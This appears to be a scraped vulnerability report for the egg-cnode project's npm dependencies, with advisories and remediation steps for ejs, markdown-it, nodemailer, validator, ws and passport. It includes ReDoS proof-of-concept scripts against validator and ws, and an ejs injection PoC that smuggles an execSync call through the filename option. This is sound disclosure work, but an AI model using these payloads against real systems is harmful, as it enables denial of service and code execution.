Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.

References

Arbitrary Code Injection vulnerability report

medium severity

Improper Control of Dynamically-Managed Code Resources

Vulnerable module: ejs
Introduced through: egg-view-ejs@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-view-ejs@2.0.1 › ejs@2.7.4

Remediation: Upgrade to egg-view-ejs@3.0.0.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

Improper Control of Dynamically-Managed Code Resources vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

Vulnerable module: markdown-it
Introduced through: markdown-it@8.4.2

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › markdown-it@8.4.2

Remediation: Upgrade to markdown-it@12.3.2.

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the /s+$/ in line 23 of lib/rules_inline/newline.js. This expression is used to remove trailing whitespaces from a string, however, it also matches non-trailing whitespaces. In the worst-case scenario, the matching process would take computation time proportional to the square of the length of the non-trailing whitespaces. It is possible that a string containing more than tens of thousands characters, as markdown-it handles Markdown, would be passed over the network, resulting in significant computational time.

Details

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

CCC
CC+C
C+CC
C+C+C.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

Remediation

Upgrade markdown-it to version 12.3.2 or higher.

References

GitHub Commit

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

Vulnerable module: markdown-it
Introduced through: markdown-it@8.4.2

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › markdown-it@8.4.2

Remediation: Upgrade to markdown-it@10.0.0.

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). Parsing _*… takes quadratic time, this could be a denial of service vulnerability in an application that parses user input.

Details

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

CCC
CC+C
C+CC
C+C+C.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

Remediation

Upgrade markdown-it to version 10.0.0 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

Vulnerable module: nodemailer
Introduced through: nodemailer@4.7.0

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › nodemailer@4.7.0

Remediation: Upgrade to nodemailer@6.9.9.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the attachDataUrls parameter or when parsing attachments with an embedded file. An attacker can exploit this vulnerability by sending a specially crafted email that triggers inefficient regular expression evaluation, leading to excessive consumption of CPU resources.

Details

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

CCC
CC+C
C+CC
C+C+C.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

Remediation

Upgrade nodemailer to version 6.9.9 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

Vulnerable module: validator
Introduced through: validator@9.4.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › validator@9.4.1

Remediation: Upgrade to validator@13.6.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug function

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "111"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }

    return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

CCC
CC+C
C+CC
C+C+C.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

Remediation

Upgrade validator to version 13.6.0 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

Vulnerable module: validator
Introduced through: validator@9.4.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › validator@9.4.1

Remediation: Upgrade to validator@13.6.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "hsla(0"
    for (var i = 0; i < n; i++) {
        ret += " "
    }

    return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isHSL(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

CCC
CC+C
C+CC
C+C+C.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

Remediation

Upgrade validator to version 13.6.0 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

Vulnerable module: validator
Introduced through: validator@9.4.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › validator@9.4.1

Remediation: Upgrade to validator@13.6.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "<"
    }

    return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

CCC
CC+C
C+CC
C+C+C.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

Remediation

Upgrade validator to version 13.6.0 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

Vulnerable module: ws
Introduced through: egg-alinode@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-alinode@2.0.1 › agentx@1.10.8 › ws@1.1.5

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

##PoC

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Details

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

CCC
CC+C
C+CC
C+C+C.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

Remediation

Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.

References

GitHub Commit

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Session Fixation

Vulnerable module: passport
Introduced through: egg-passport@2.1.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-passport@2.1.1 › passport@0.3.2

Overview

passport is a Simple, unobtrusive authentication for Node.js.

Affected versions of this package are vulnerable to Session Fixation. When a user logs in or logs out, the session is regenerated instead of being closed.

Remediation

Upgrade passport to version 0.6.0 or higher.

References

Session Fixation vulnerability report

medium severity

Arbitrary Code Injection

Vulnerable module: ejs
Introduced through: egg-view-ejs@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-view-ejs@2.0.1 › ejs@2.7.4

Remediation: Upgrade to egg-view-ejs@3.0.0.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References

Arbitrary Code Injection vulnerability report

cnodejs/egg-cnode

Vulnerabilities

Dependencies

Source

Commit

Find, fix and prevent vulnerabilities in your code.

critical severity

Incomplete List of Disallowed Inputs

Detailed paths

Overview

Workaround

Remediation

References

critical severity

Authentication Bypass

Detailed paths

Overview

Remediation

References

high severity

Improper Neutralization of Special Elements in Data Query Logic

Detailed paths

Overview

Remediation

References

high severity

Improper Neutralization of Special Elements in Data Query Logic

Detailed paths

Overview

Remediation

References

high severity

Command Injection

Detailed paths

Overview

PoC

Remediation

References

high severity

Prototype Pollution

Detailed paths

Overview

Details

Unsafe Object recursive merge

Property definition by path

Types of attacks

Affected environments

How to prevent

For more information on this vulnerability type:

Remediation

References

high severity

Internal Property Tampering

Detailed paths

Overview

Remediation

References

high severity

Internal Property Tampering

Detailed paths

Overview

Remediation

References

high severity

Remote Code Execution (RCE)

Detailed paths

Overview

PoC:

Remediation

References

high severity

Prototype Pollution

Detailed paths

Overview

PoC

Details

Unsafe Object recursive merge

Property definition by path

Types of attacks

Affected environments